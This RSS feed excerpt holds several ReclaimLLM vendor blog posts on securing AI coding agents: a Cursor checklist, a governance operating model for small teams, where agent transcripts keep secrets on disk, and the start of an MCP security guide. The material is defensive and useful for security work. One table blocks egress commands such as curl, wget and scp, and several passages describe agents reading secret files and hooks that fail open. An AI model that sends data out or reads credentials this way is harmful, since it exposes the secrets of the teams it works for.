<li>Sensitive file access reviews and project-scoped file lineage on Paid and Enterprise plans.</li>
<li>Email alerts (AD-004) with zero-exfiltration bodies when sensitive files are touched without DLP coverage.</li>
<li>Audit log export for admin actions (audit evidence for AI coding tools when you prepare SOC-style reviews).</li>
</ul>
<p>ReclaimLLM data residency options are US and EU; SOC 2 Type II is targeted for early 2027.</p>
<p>Network controls: stopping AI agent network exfiltration. Install details: native hooks.</p>
<h2>Rolling the checklist out in a 10–100 person team</h2>
<p>A practical sequence that avoids boiling the ocean:</p>
<ol>
<li>Week 1: Enforce Privacy Mode and publish the sandbox.json template (deny network, <code>readBoundary: "workspace"</code>, no <code>insecure_none</code>).</li>
<li>Week 2: Deploy hooks org-wide; run <code>rclm-hooks-install --repair</code> on any machine that fails coverage check-in.</li>
<li>Week 3: MCP inventory—export <code>.cursor/mcp.json</code> from a sample of repos and scrub tokens; approve a server list.</li>
<li>Week 4: Wire AD-004 alerts to on-call; export audit CSV into your next customer review.</li>
</ol>
<p>Assign a single DRI (directly responsible individual) from platform engineering so security is not guessing which Cursor build is in the field. Pair this checklist with the shadow AI coding tools CISO checklist if multiple agents share the same laptops.</p>
<h2>Recommended defaults vs status quo</h2>
<table>
<thead>
<tr>
<th>Control</th>
<th>Default / common drift</th>
<th>Recommended for corp code</th>
</tr>
</thead>
<tbody><tr>
<td>Privacy Mode</td>
<td>Per-user</td>
<td>Enforced at team level</td>
</tr>
<tr>
<td>Sandbox type</td>
<td>Workspace mode</td>
<td>Never insecure_none on corp machines</td>
</tr>
<tr>
<td>Network policy</td>
<td>Often permissive</td>
<td>default: "deny" + minimal allowlist</td>
</tr>
<tr>
<td>readBoundary</td>
<td>"system"</td>
<td>"workspace" where Cursor ≥ 3.23</td>
</tr>
<tr>
<td>Hook failure</td>
<td>Fail open</td>
<td>failClosed: true on MCP hooks you operate</td>
</tr>
<tr>
<td>.cursorignore</td>
<td>Treated as DLP</td>
<td>Hooks + deny patterns for secrets</td>
</tr>
</tbody></table>
<h2>Is Cursor secure enough for client code?</h2>
<p>Cursor can meet many enterprise bars when Privacy Mode, sandbox network policy, hooks (with explicit fail-closed choices), MCP review, and session evidence are owned by named admins—not when “we bought Teams seats” is the whole program. Cursor documents the mechanisms; your checklist proves they are on.</p>
<p>Cursor aligns with the same OWASP LLM themes as other coding agents: LLM02 when files or prompts carry secrets, LLM06 when sandbox or hooks are loose, and LLM09 when <code>.cursorignore</code> is mistaken for enforcement. Your checklist answers auditor questions with settings names and owners—not with “we trust the vendor.”</p>
<p>Next step: See which Cursor sessions read secrets—start free.</p>
<h2>FAQ</h2>
<h3>Is Cursor secure for enterprise code?</h3>
<p>It can be, with enforced Privacy Mode, sandbox and network policy, hooks, MCP hygiene, and audit evidence. Like any agent IDE, it depends on configuration and monitoring.</p>
<h3>What does Cursor Privacy Mode protect?</h3>
<p>Training/retention limits and provider ZDR arrangements as described by Cursor—it does not prevent intentional or accidental secret paste into prompts.</p>
<h3>Does <code>.cursorignore</code> stop Cursor reading secrets?</h3>
<p>No. It is not a documented security boundary for agent reads. Use hooks, sandbox boundaries, and secret storage practices; see why <code>.cursorignore</code> is not DLP.</p>
<h3>Do Cursor hooks fail open or closed?</h3>
<p>Hook process crash, timeout, or most non-2 exits: fail open unless <code>failClosed: true</code>. Env DLP when the hook runs: recognized <code>.env</code> access is fail-closed (sanitize, block dumps, or deny). ReclaimLLM’s installer does not set <code>failClosed</code> by default—add it on hooks you control if you want crash fail-closed.</p>
<h3>How do I control MCP servers in Cursor?</h3>
<p>Maintain an allowlist, keep tokens out of <code>.cursor/mcp.json</code>, use <code>beforeMCPExecution</code> hooks with <code>failClosed</code> where appropriate, and review third-party servers like any external integration.</p>
<blockquote>
<p>Originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/cursor-security-checklist">https://reclaimllm.com/blogs/cursor-security-checklist</a></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[AI coding agent governance for small engineering teams: a one-page operating model]]></title><description><![CDATA[This article was originally published on ReclaimLLM: Five decisions, a RACI table, and a weekly 30-minute review for 10–100 person teams using Claude Code…]]></description><link>https://reclaimllm-blog.hashnode.dev/ai-coding-agent-governance-for-small-engineering-teams-a-one-page-operating-model</link><guid isPermaLink="true">https://reclaimllm-blog.hashnode.dev/ai-coding-agent-governance-for-small-engineering-teams-a-one-page-operating-model</guid><dc:creator><![CDATA[ReclaimLLM]]></dc:creator><pubDate>Sat, 31 Oct 2026 14:13:38 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This article was originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/ai-governance-small-engineering-teams">https://reclaimllm.com/blogs/ai-governance-small-engineering-teams</a></p>
</blockquote>
<p>Five decisions, a RACI table, and a weekly 30-minute review for 10–100 person teams using Claude Code, Cursor, Codex, or Copilot—without a NIST-scale framework.</p>
<h2>Executive summary</h2>
<ul>
<li>A one-page governance operating model (five decisions, a RACI table, a weekly 30-minute review) for 10–100 person teams who need an AI policy without a NIST/ISO-scale framework.</li>
<li>Map each decision to a control and an owner: approved tools, data rules, blocks/allowlists, alerts, and evidence.</li>
<li>Enforce with vendor-native settings first, then hook DLP and egress across agents, plus coverage detection (hooks can fail open on crash/timeout; coverage is detection, not MDM).</li>
<li>Access-review decisions are keep / revoke / modify / rotate; this is an operating model, not legal advice.</li>
</ul>
<p>For a 10–100 person team, AI coding governance means five decisions: which tools are approved, what data they may see, which actions need a block, who gets alerts, and what evidence you keep. Write those decisions on one page, enforce what you can at the agent hook and gateway, and review weekly. This is an operating model—not legal advice—and it is sized for teams that do not have a dedicated security org to run a full NIST AI Risk Management Framework program.</p>
<p>If you need the architecture picture first, read enterprise AI coding security control plane. This post is the weekly ritual and ownership map that makes that control plane livable without a 40-page policy.</p>
<h2>Why big-company AI governance does not fit a 30-person team</h2>
<p>NIST AI RMF, ISO/IEC 42001, and vendor “AI governance platforms” assume model builders, procurement committees, and continuous risk registers. A 30-person product company usually needs something narrower: which coding agents may touch production repos, and who checks that the controls still work.</p>
<p>You still benefit from the same principles—map, measure, manage—but you can skip the chapters that never touch Claude Code, Cursor, Codex, Copilot, or Antigravity. Canadian Centre for Cyber Security guidance on generative AI (ITSAP.00.041) and the OPC principles for responsible generative AI are useful north stars; your one-pager is the local implementation.</p>
<h2>Decision 1: Approved tools and plans</h2>
<p>Rule of thumb: team or enterprise plans with admin controls; no free or personal subscriptions on company repositories.</p>
<table>
<thead>
<tr>
<th>Tool</th>
<th>Example approved tier</th>
<th>Why it matters</th>
</tr>
</thead>
<tbody><tr>
<td>Claude Code</td>
<td>Team / Enterprise with managed settings</td>
<td>Org-wide deny rules and model locks</td>
</tr>
<tr>
<td>Cursor</td>
<td>Teams with Privacy Mode enforced</td>
<td>Training and retention terms differ by plan—verify Cursor data use before audit season</td>
</tr>
<tr>
<td>GitHub Copilot</td>
<td>Copilot Business / Enterprise</td>
<td>Content exclusion and org policies</td>
</tr>
<tr>
<td>Codex CLI</td>
<td>Org requirements via agent approvals &amp; security</td>
<td>Sandbox modes and approval policies</td>
</tr>
<tr>
<td>Antigravity</td>
<td>Org-approved distribution only</td>
<td>Treat like any other agent with MCP and shell access</td>
</tr>
</tbody></table>
<p>Shadow tools are a separate inventory exercise. Start with shadow AI coding tools: a CISO checklist, then fold the approved list into this page.</p>
<p>Owner: engineering manager proposes; CTO approves.</p>
<h2>Decision 2: Data the agents may see</h2>
<p>Define three classes:</p>
<ol>
<li>Never send to models: live secrets (.env, cloud keys, database URLs), regulated personal data you cannot justify, client contracts that forbid third-party AI.</li>
<li>Send with care: application source, internal service names, customer metadata in logs.</li>
<li>Fine to send: public docs, synthetic fixtures, redacted snippets.</li>
</ol>
<p>Operational controls:</p>
<ul>
<li>Folder exclusions and deny rules (Claude <code>Read(./.env)</code>, Copilot content exclusion—with known gaps for symlinks and some agent paths).</li>
<li>Hook-level redaction: ReclaimLLM’s local layer is string replacement plus folder exclusion, not semantic classification.</li>
<li>When ReclaimLLM’s hook runs, recognized <code>.env</code> / <code>*.env</code> reads are sanitized or denied (fail-closed for that class). Hook crash, timeout, or egress-backend errors can still fail open—ReclaimLLM’s installer does not set Claude’s <code>onFailure: "block"</code> or Cursor’s <code>failClosed: true</code> on injected hooks. Teams can add those vendor flags if they want stricter behavior.</li>
</ul>
<p>Owner: tech lead drafts rules; CTO accountable.</p>
<h2>Decision 3: Actions that are blocked vs reviewed</h2>
<table>
<thead>
<tr>
<th>Action</th>
<th>Typical stance</th>
<th>Control</th>
</tr>
</thead>
<tbody><tr>
<td>Reading secret files</td>
<td>Block or redact</td>
<td>Deny rules + hook DLP</td>
</tr>
<tr>
<td>Network egress (curl, wget, scp, inline fetch)</td>
<td>Block or allowlist</td>
<td>Pre-execution egress guard on Claude Code, Cursor, Antigravity, Codex, and Copilot</td>
</tr>
<tr>
<td>MCP servers not on allowlist</td>
<td>Block or require review</td>
<td>Managed MCP settings + hooks</td>
</tr>
<tr>
<td>Pasting customer PII into chat</td>
<td>Review + training</td>
<td>Policy + AD-004 alerts</td>
</tr>
</tbody></table>
<p>Document exceptions with an expiry and reason—same pattern as DLP exceptions in coverage without MDM.</p>
<p>Owner: platform / security advisor implements; CTO approves allowlists.</p>
<h2>Decision 4: Who gets which alert</h2>
<p>Route by severity so on-call is not drowned in coverage noise.</p>
<table>
<thead>
<tr>
<th>Signal</th>
<th>Example routing</th>
<th>Product hook</th>
</tr>
</thead>
<tbody><tr>
<td>P0 secret exfiltration pattern</td>
<td>On-call engineer + CTO</td>
<td>AD-004 (configurable; default digest at 08:00 org time)</td>
</tr>
<tr>
<td>Coverage gap (hooks missing, DLP off)</td>
<td>IT / platform</td>
<td>AD-010–013</td>
</tr>
<tr>
<td>Gateway anomaly</td>
<td>Security lead</td>
<td>AD-005/006</td>
</tr>
<tr>
<td>Weekly summary</td>
<td>Engineering managers</td>
<td>Signals digest</td>
</tr>
</tbody></table>
<p>Alert bodies should never contain the secret itself—only evidence pointers (session id, file path class, detector id).</p>
<p>Owner: on-call rotation maintains routing; CTO accountable for escalation.</p>
<h2>Decision 5: Evidence you keep</h2>
<p>Minimum evidence set for a customer or auditor question:</p>
<ul>
<li>Sessions (what the agent read and called)—with retention you configure.</li>
<li>File access reviews and project-scoped file lineage on Paid/Enterprise.</li>
<li>Admin audit log (365-day export).</li>
<li>Access review campaigns for gateway keys, org API keys, and members—decisions are keep, revoke, modify, or rotate per ReclaimLLM’s compliance workflow (compliance dashboard).</li>
</ul>
<p>ReclaimLLM stores captured session content in US or EU regions (choice is permanent per org). Paid/Enterprise sessions use encrypted storage with an org recovery key—not zero-knowledge. SOC 2 Type II is targeted for early 2027; we are not certified today.</p>
<p>Owner: ops or compliance lead; CEO/CTO accountable for retention and legal hold.</p>
<h2>RACI on one page</h2>
<table>
<thead>
<tr>
<th>Decision</th>
<th>Responsible</th>
<th>Accountable</th>
<th>Consulted</th>
<th>Informed</th>
</tr>
</thead>
<tbody><tr>
<td>Approved tools</td>
<td>Eng manager</td>
<td>CTO</td>
<td>Security advisor</td>
<td>All developers</td>
</tr>
<tr>
<td>Data rules</td>
<td>Tech lead</td>
<td>CTO</td>
<td>Privacy lead</td>
<td>All developers</td>
</tr>
<tr>
<td>Blocks / allowlists</td>
<td>Platform</td>
<td>CTO</td>
<td>Developers</td>
<td>—</td>
</tr>
<tr>
<td>Alerts</td>
<td>On-call</td>
<td>CTO</td>
<td>—</td>
<td>Team leads</td>
</tr>
<tr>
<td>Evidence</td>
<td>Ops / compliance</td>
<td>CEO / CTO</td>
<td>Auditor</td>
<td>—</td>
</tr>
</tbody></table>
<p>Print this table next to your approved-tool list. If Accountable is blank on a row, the policy is aspirational.</p>
<h2>Enforcing it: vendor settings, hooks, gateway, coverage</h2>
<p>Layer 1 — Vendor-native settings (baseline). Deploy managed settings, Cursor team admin, Copilot org policies, and Codex sandbox requirements before you ask developers to “be careful.”</p>
<p>Layer 2 — Hooks (boundary control). ReclaimLLM hooks cover Claude Code, Cursor, Codex, Copilot, and Antigravity—including DLP and egress on Antigravity as shipped product behavior, not a pre-release experiment. Hooks see tool calls on the machine; they are not MDM. A developer can remove them; coverage detection tells you when that happens—it does not remotely reinstall.</p>
<p>Layer 3 — Enterprise LLM gateway. Team-scoped keys keep provider credentials server-side and centralize model policy. The gateway is an LLM gateway: it does not see local file reads or MCP traffic that never touches your proxy.</p>
<p>Layer 4 — Detection. AD-004, egress guard, AD-015 egress anomalies, and gateway anomalies complement prevention. Link detecting AI agent secret exfiltration (AD-004) for runbooks.</p>
<p>Honest summary: coverage ≠ enforcement. Coverage snapshots report posture; they do not lock laptops.</p>
<h2>The weekly 30-minute review</h2>
<p>Put this on the calendar with the same priority as production error budget.</p>
<table>
<thead>
<tr>
<th>Minute block</th>
<th>Look at</th>
<th>Question</th>
</tr>
</thead>
<tbody><tr>
<td>0–5</td>
<td>Signals inbox</td>
<td>Any open P0? Assign owner.</td>
</tr>
<tr>
<td>5–10</td>
<td>Coverage % and “DLP off” filter</td>
<td>Which teams slipped?</td>
</tr>
<tr>
<td>10–15</td>
<td>Sensitive file reviews</td>
<td>Unexpected .env or credential reads?</td>
</tr>
<tr>
<td>15–20</td>
<td>New MCP servers in sessions</td>
<td>Anything not on the allowlist?</td>
</tr>
<tr>
<td>20–25</td>
<td>Cost / token outliers</td>
<td>Misconfigured model or runaway agent?</td>
</tr>
<tr>
<td>25–30</td>
<td>Actions</td>
<td>Update deny rules, file tickets, note exceptions</td>
</tr>
</tbody></table>
<p>Start from the dashboard and Signals list; export CSV when you need an evidence folder for a customer.</p>
<h2>Quarterly: access reviews and policy refresh</h2>
<p>Once a quarter:</p>
<ol>
<li>Run an access review campaign (gateway keys, API keys, org members).</li>
<li>Re-read vendor terms for your approved plans—training and retention language changes.</li>
<li>Update the one-pager if you added a tool (MCP marketplace plugins, new cloud agent feature).</li>
<li>Tie evidence to SOC prep with SOC 2 evidence for AI coding tools when that audit window opens.</li>
</ol>
<h2>Canada and privacy accountability</h2>
<p>Canadian teams often get asked how AI coding fits privacy accountability. Use your own counsel for legal interpretation; operationally, align retention, access, and breach notification with how you already handle SaaS subprocessors. For a checklist-style companion (not legal advice), see AI coding tools and PIPEDA and the Cyber Centre ITSAP.00.041 link above.</p>
<h2>One-page policy template (copy this)</h2>
<pre><code>Approved tools: [list plans + admin owner]
Forbidden on company repos: personal/free tiers, unapproved MCP servers
Data: no live secrets; client code only where contract allows
Blocks: .env reads, non-allowlisted egress, MCP allowlist attached
Alerts: P0 → [names]; coverage → [team]; weekly digest → [leads]
Evidence: sessions [retention], audit log export monthly, access reviews quarterly
Review: 30 min weekly [day/time], owner [name]
Exceptions: written reason + expiry, logged in [system]
</code></pre>
<h2>Next step</h2>
<p>Run your weekly AI review from one dashboard—start free. For hook install and coverage, see AI coding assistant DLP and enterprise observability.</p>
<h2>FAQ</h2>
<h3>What is AI coding agent governance?</h3>
<p>The set of decisions, owners, and review cadences that define which AI coding tools your engineers may use, what data those tools may access, what must be blocked, who is alerted, and what evidence you retain—implemented with vendor settings, hooks, gateway policy, and audit exports.</p>
<h3>Do small companies need an AI policy for coding tools?</h3>
<p>If you store customer data, touch regulated industries, or sign security questionnaires, yes—you need a written answer even without a security team. A one-page operating model is enough to start; expand when contracts require it.</p>
<h3>Who should own AI governance in a 30-person engineering team?</h3>
<p>The CTO is usually accountable. Engineering management owns tool approval, platform owns hooks and allowlists, and on-call owns alert routing. Consult a fractional CISO or privacy lead when customers ask legal questions you cannot answer internally.</p>
<h3>What should an AI coding policy include?</h3>
<p>Approved tools and plans, data classes, blocked actions (secrets, egress, MCP), alert routing, evidence retention, exception process, and a weekly review ritual. Skip copying ISO annexes you will never operate.</p>
<h3>How do we enforce an AI policy without MDM?</h3>
<p>Use vendor managed settings where available, ReclaimLLM hooks for redaction and egress, an LLM gateway for keys, and coverage detection to notice hook removal or DLP-off check-ins. That is detection and boundary control, not tamper-proof MDM—state that plainly in customer security reviews.</p>
<blockquote>
<p>Originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/ai-governance-small-engineering-teams">https://reclaimllm.com/blogs/ai-governance-small-engineering-teams</a></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Your AI coding transcripts are a secret store: where Claude Code, Codex, Cursor, Copilot and Antigravity keep them]]></title><description><![CDATA[This article was originally published on ReclaimLLM: Every agent session leaves JSONL on the laptop—and pasted keys go with it. Per-tool paths, a safe scan…]]></description><link>https://reclaimllm-blog.hashnode.dev/your-ai-coding-transcripts-are-a-secret-store-where-claude-code-codex-cursor-copilot-and-antigravity-keep-them</link><guid isPermaLink="true">https://reclaimllm-blog.hashnode.dev/your-ai-coding-transcripts-are-a-secret-store-where-claude-code-codex-cursor-copilot-and-antigravity-keep-them</guid><dc:creator><![CDATA[ReclaimLLM]]></dc:creator><pubDate>Sat, 31 Oct 2026 14:10:47 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This article was originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/ai-coding-transcripts-secret-store">https://reclaimllm.com/blogs/ai-coding-transcripts-secret-store</a></p>
</blockquote>
<p>Every agent session leaves JSONL on the laptop—and pasted keys go with it. Per-tool paths, a safe scan recipe, and the fix order: rotate, purge, prevent.</p>
<h2>Executive summary</h2>
<ul>
<li>The plaintext transcript left on disk after a session—not the model provider—is usually the real leak surface.</li>
<li>Per-tool path table for Claude Code, Codex, Cursor, Copilot, and Antigravity, plus a safe scan recipe and rotate-then-purge fix order.</li>
<li>Claude Code: <code>~/.claude/projects/</code>. Codex sessions: <code>~/.codex/sessions/YYYY/MM/DD/rollout-*.jsonl</code> (separate <code>history.jsonl</code> is a prompt index, not synced by rclm-sync).</li>
<li>Supporting context: GitGuardian reported a 3.2% secret-leak rate in Claude Code-assisted public commits vs a 1.5% baseline (correlation, not causation).</li>
</ul>
<p>AI coding agents save each session as a local transcript—usually JSONL under your home directory. Anything pasted, printed, or read in that session, including API keys from <code>.env</code> files or CI logs, is written there in plain text. The leak surface is often <strong>the laptop copy</strong>, not the model provider’s dashboard. Treat transcripts like a secrets file: scan, rotate, purge, and redact <strong>before</strong> new content is written.</p>
<p>GitGuardian’s 2026 analysis of public GitHub commits reported a <strong>3.2% secret-leak rate in commits associated with Claude Code assistance versus a 1.5% baseline</strong> across all public commits (AI coding agents and credential security). That statistic does not prove Claude Code caused the leaks—it shows assisted workflows correlate with more exposed credentials. Local transcripts are one reason pasted keys linger after the chat ends.</p>
<p>For prevention at the source, see prevent API keys and <code>.env</code> from AI coding tools. This post is the <strong>after-the-fact</strong> map.</p>
<h2>Where each agent keeps transcripts</h2>
<p>Live hooks receive transcript paths from each tool at runtime. The table below matches ReclaimLLM’s <code>rclm-sync</code> historical import paths—what we glob in production when backfilling past sessions—and aligns with vendor docs where noted.</p>
<table>
<thead>
<tr>
<th>Tool</th>
<th>Path on disk</th>
<th>Notes</th>
</tr>
</thead>
<tbody><tr>
<td>Claude Code</td>
<td><code>~/.claude/projects/**/*.jsonl</code></td>
<td>Anthropic documents local caching under the Claude directory; default local retention is adjustable via <code>cleanupPeriodDays</code> in data usage</td>
</tr>
<tr>
<td>Codex CLI</td>
<td><code>~/.codex/sessions/YYYY/MM/DD/rollout-*.jsonl</code></td>
<td>Full session transcripts. Separate file: <code>~/.codex/history.jsonl</code> is a prompt-index style log—not imported by ReclaimLLM sync</td>
</tr>
<tr>
<td>Cursor</td>
<td><code>~/.cursor/projects/[project]/agent-transcripts/[session-id]/[session-id].jsonl</code></td>
<td>Cursor passes the path to hooks at session end (hooks docs)</td>
</tr>
<tr>
<td>GitHub Copilot</td>
<td><code>~/.copilot/session-state/**/events.jsonl</code></td>
<td>Agent / CLI session events</td>
</tr>
<tr>
<td>Antigravity</td>
<td><code>~/.gemini/antigravity-cli/brain/&lt;id&gt;/.system_generated/logs/transcript.jsonl</code></td>
<td>Concrete path used by ReclaimLLM sync (Antigravity hooks)</td>
</tr>
</tbody></table>
<p>If you use only one tool today, still read the full table—engineers often run two agents on the same repo.</p>
<h3>Why the path table matters for incident response</h3>
<p>When someone says “I pasted a key into Claude,” your first question should be <strong>where a copy still exists</strong>. Provider dashboards may not show the full tool output chain. Local JSONL does—including intermediate Read results and Bash stdout embedded in the conversation record. ReclaimLLM’s Cursor capture uses transcripts as the source of truth for the same reason: the file on disk is the complete artifact.</p>
<p>Historical import via <code>rclm-sync</code> walks the directories above so past sessions appear in the console even before hooks were installed. That helps audits; it also means org capture can duplicate sensitive lines you already rotated—set retention and legal hold accordingly (settings and compliance docs).</p>
<h2>Copies you forget</h2>
<p>Transcripts are not only in the obvious folder:</p>
<ul>
<li><strong>Backups:</strong> Time Machine, corporate endpoint backup, and laptop imaging copy home-directory JSONL verbatim.</li>
<li><strong>Sync:</strong> iCloud Desktop, OneDrive, or Dropbox syncing <code>~</code> or dotfile repos.</li>
<li><strong>Dotfile repos:</strong> committing <code>.claude</code> or <code>.cursor</code> history by mistake.</li>
<li><strong>Shared session links</strong> inside chat products.</li>
</ul>
<h3>Anthropic upload flows (do not conflate them)</h3>
<p>Two different retention stories apply to Claude Code:</p>
<ol>
<li><code>/feedback</code>, <code>/bug</code>, and <code>/share</code> reports are retained for <strong>five years</strong> per data usage. Those docs do not promise secret redaction on that standard upload path—do not assume it.</li>
<li>Post-session “Can Anthropic look at your transcript?” survey: if the user selects Yes, known API key and token patterns are redacted before upload; <strong>source code, file contents, and other conversation content are uploaded as-is</strong>. Shared transcripts in that flow are retained up to <strong>six months</strong>.</li>
<li>When <code>/feedback</code> falls back to a <strong>local archive</strong> (third-party providers without Anthropic credentials), known API key/token patterns are redacted before that local file is written.</li>
</ol>
<p>ReclaimLLM does <strong>not</strong> delete or rewrite provider-owned transcript files on disk. Capture and redaction apply to what ReclaimLLM stores and what hooks see going forward.</p>
<h2>How to scan your own transcripts (safe recipe)</h2>
<p>Use a secrets scanner on the paths above—never paste real findings into Slack or tickets.</p>
<ol>
<li>Create a <strong>fake</strong> AWS-shaped key in a throwaway file: <code>AKIAFAKEFAKEFAKEFAKE</code> (example only).</li>
<li>Run a scanner over one agent directory:</li>
</ol>
<pre><code>gitleaks dir ~/.claude/projects --no-git
</code></pre>
<p>Or:</p>
<pre><code>trufflehog filesystem ~/.codex/sessions
</code></pre>
<ol start="3">
<li>Confirm the fake key is reported. Then scan the rest.</li>
</ol>
<p>Rotate any real credential you find; do not treat “scanner clean” as proof nothing ever leaked to a provider.</p>
<p>Scan <strong>each</strong> agent directory your team uses—mixed fleets are common after a Cursor pilot and a Claude Code rollout. Add Antigravity brain logs if Google’s CLI is approved in your org. Exclude <code>node_modules</code> and build output if the scanner supports ignore rules to cut noise.</p>
<p>For teams without a dedicated forensics bench, run scans from a <strong>clean admin machine</strong> with read-only mount of the laptop disk image during offboarding—same paths, same commands.</p>
<h2>You found one: rotate, then purge</h2>
<p>Order matters:</p>
<ol>
<li><strong>Rotate</strong> the credential at the issuer (cloud console, SaaS admin, database user). Assume the value exists in backups, provider logs, or a teammate’s screen share.</li>
<li><strong>Purge local transcripts</strong> for the affected sessions (delete JSONL files or shorten retention via vendor settings).</li>
<li><strong>Document</strong> the incident class without embedding secret material in the ticket.</li>
</ol>
<p>For detection going forward, configure AD-004 sensitive-file alerts.</p>
<h2>Preventing new secrets in transcripts</h2>
<table>
<thead>
<tr>
<th>Control</th>
<th>What it does</th>
<th>Limit</th>
</tr>
</thead>
<tbody><tr>
<td>Deny rules</td>
<td>Block <code>Read(./.env)</code> and similar</td>
<td>Shell paths may bypass Read</td>
</tr>
<tr>
<td><code>.claudeignore</code> / env deny patterns</td>
<td>Reduce accidental reads</td>
<td>Not a crypto boundary</td>
</tr>
<tr>
<td>Hook redaction</td>
<td>Local redaction replaces configured strings and excludes folders</td>
<td>String replacement, not semantic DLP</td>
</tr>
<tr>
<td>Egress guard</td>
<td>Blocks common exfil commands before shell runs</td>
<td>Does not erase past transcript lines</td>
</tr>
</tbody></table>
<p>When ReclaimLLM’s hook runs, recognized <code>.env</code> reads are sanitized or denied. Hook <strong>crash</strong> or <strong>timeout</strong> can still fail open unless you configure vendor hook failure modes yourself—ReclaimLLM’s installer does not set Claude <code>onFailure: "block"</code> or Cursor <code>failClosed</code>.</p>
<p>ReclaimLLM captures from provider transcripts; the <strong>provider’s own file on disk may still hold unredacted text</strong> after redaction in flight (capture model caveat). ReclaimLLM-owned local artifacts use owner-only permissions.</p>
<p>Pair prevention with governance: a one-page policy should name <strong>transcript retention</strong> next to approved tools—see AI coding agent governance for small teams. Coverage alerts tell you when hooks disappear; they do not purge old JSONL—purge is still a local IT task.</p>
<h2>Retention and deletion on the ReclaimLLM side</h2>
<p>If you use ReclaimLLM capture:</p>
<ul>
<li><strong>Encrypted session storage</strong> for Paid/Enterprise with an org recovery key—not zero-knowledge (Jun 2026 announcement).</li>
<li><strong>Retention policy and legal hold</strong> in admin settings; <strong>deferred account deletion</strong> after 30 days when configured.</li>
<li><strong>US or EU</strong> storage region only—no self-hosted deployment.</li>
<li><strong>SOC 2 Type II is targeted for early 2027</strong>; not certified today.</li>
</ul>
<p>Session sharing uses <strong>opaque tokens</strong>—treat shared links like any other confidential URL.</p>
<p>Email alerts for secret patterns (AD-004) fire on exfiltration detectors—they do not replace transcript purge. Use alerts to <strong>find the session id</strong>, then locate the on-disk JSONL path from the table above for local cleanup.</p>
<h2>Offboarding checklist</h2>
<p>Copy for IT when a developer leaves or a laptop is reissued:</p>
<ul>
<li><input disabled type="checkbox" /> Rotate org secrets the person could see in the last 90 days.</li>
<li><input disabled type="checkbox" /> Scan <code>~/.claude/projects</code>, <code>~/.codex/sessions</code>, <code>~/.cursor/projects</code>, <code>~/.copilot/session-state</code>, Antigravity brain logs for live patterns.</li>
<li><input disabled type="checkbox" /> Remove MCP OAuth token files (e.g. Antigravity <code>~/.gemini/antigravity/mcp_oauth_tokens.json</code>) if present.</li>
<li><input disabled type="checkbox" /> Wipe or destroy disk; verify backup scope if the home folder was synced.</li>
<li><input disabled type="checkbox" /> Revoke ReclaimLLM / gateway keys in access review workflow.</li>
</ul>
<h2>Next step</h2>
<p>Redact secrets before they hit the transcript—start free. For the DLP product story, see AI coding assistant DLP. Deep dive on what is AI DLP.</p>
<h2>FAQ</h2>
<h3>Where does Claude Code store conversation history?</h3>
<p>Under <code>~/.claude/projects/</code> as JSONL session files. Adjust local cache duration via Claude Code settings documented in Anthropic’s data usage page.</p>
<h3>Where are Codex CLI session logs stored?</h3>
<p>Full sessions: <code>~/.codex/sessions/YYYY/MM/DD/rollout-*.jsonl</code>. The separate <code>~/.codex/history.jsonl</code> file is a prompt index—not the full transcript and not synced by ReclaimLLM’s historical import.</p>
<h3>Do AI coding transcripts contain secrets?</h3>
<p>Yes, if a developer pasted a key, the agent printed tool output with credentials, or a file read embedded secret material in the conversation. Transcripts are plain text on disk.</p>
<h3>Should I delete AI agent transcripts?</h3>
<p>After rotating exposed credentials, yes—delete or shorten retention to reduce backup and forensic risk. Deletion does not replace rotation.</p>
<h3>Does redaction remove secrets already on disk?</h3>
<p>No. Hook redaction affects new tool calls and what ReclaimLLM captures going forward. Purge provider transcript files separately and rotate the secret.</p>
<blockquote>
<p>Originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/ai-coding-transcripts-secret-store">https://reclaimllm.com/blogs/ai-coding-transcripts-secret-store</a></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[MCP security for coding agents: secrets in config files, server vetting and allowlists]]></title><description><![CDATA[This article was originally published on ReclaimLLM: MCP servers hold tokens, files, and network access. Where configs live per tool, how to vet servers…]]></description><link>https://reclaimllm-blog.hashnode.dev/mcp-security-for-coding-agents-secrets-in-config-files-server-vetting-and-allowlists</link><guid isPermaLink="true">https://reclaimllm-blog.hashnode.dev/mcp-security-for-coding-agents-secrets-in-config-files-server-vetting-and-allowlists</guid><dc:creator><![CDATA[ReclaimLLM]]></dc:creator><pubDate>Sat, 31 Oct 2026 14:08:20 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This article was originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/mcp-security-coding-agents">https://reclaimllm.com/blogs/mcp-security-coding-agents</a></p>
</blockquote>
<p>MCP servers hold tokens, files, and network access. Where configs live per tool, how to vet servers, and when hooks beat an LLM gateway for MCP tool calls.</p>
<h2>Executive summary</h2>
<ul>
<li>Three practical MCP problems: secrets in config files, unvetted servers, and what a server can reach—with per-tool config paths.</li>
<li>GitGuardian found 5.2% of sampled public MCP repos leaked at least one secret, and later 24,008 unique secrets in public MCP configs (2,117 valid).</li>
<li>Compare MCP gateway vs agent hooks vs enterprise LLM gateway: ReclaimLLM’s gateway is an LLM gateway (model calls), not an MCP gateway.</li>
<li>Egress guard does not inspect MCP server process traffic; AD-015 only specially flags a tool named exactly <code>mcp_fetch</code>.</li>
</ul>
<p>MCP (Model Context Protocol) servers run with the developer’s permissions and often hold API tokens in plain config files. Secure them by moving tokens out of config, approving servers on an allowlist, inspecting MCP tool calls at the agent hook, and limiting where servers can send data. This post is a practical checklist for Claude Code, Cursor, Copilot, Codex, and Antigravity—not a generic “top ten MCP risks” list.</p>
<p>For how ReclaimLLM’s own MCP tools work, start with MCP tools and skills. For shell egress, see stopping AI agent network exfiltration.</p>
<h2>What an MCP server can do on a developer laptop</h2>
<p>An MCP server is a small program the agent invokes over stdio or HTTP. Local servers inherit the user’s filesystem and environment. Remote servers receive OAuth tokens and may proxy data to third-party APIs.</p>
<p>The MCP security best practices draft calls out risks you should name in security reviews:</p>
<ul>
<li>Confused deputy and token passthrough</li>
<li>SSRF via tool parameters</li>
<li>Session hijacking on remote transports</li>
<li>Compromise of a local MCP server binary</li>
